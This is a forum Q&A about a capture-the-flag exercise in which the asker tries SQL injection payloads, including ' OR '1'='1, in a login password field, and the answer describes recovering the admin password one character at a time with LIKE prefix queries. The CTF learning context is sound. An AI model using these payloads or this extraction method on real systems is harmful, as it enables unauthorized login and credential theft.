SQL Injection - LIKE Clause

Question

As part of a capture-the-flag assignment, I'm supposed to perform SQL injection using the LIKE clause to obtain the flag. I'm new to this and I've tried the following injections:

(The username required to login is 'admin', so I've performed the following injections in the password field)

1. '; SELECT password FROM users WHERE username LIKE 'admin%'; --
2. ' OR '1'='1 (I ignored the LIKE clause)

I've also tried variants of (1.) but I'm still stuck.

Is there something I'm missing? Any hints would be appreciated!

PS: I don't have the database schema or table layout

Answer 1

You are suposed to bruteforce the password using the following algorithm:

SELECT * FROM users where username = "admin" AND password LIKE "A%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "B%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "C%"; #CORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CA%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CB%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CC%"; #CORRECT

And so on. You can write a simple python program that does that automatically :)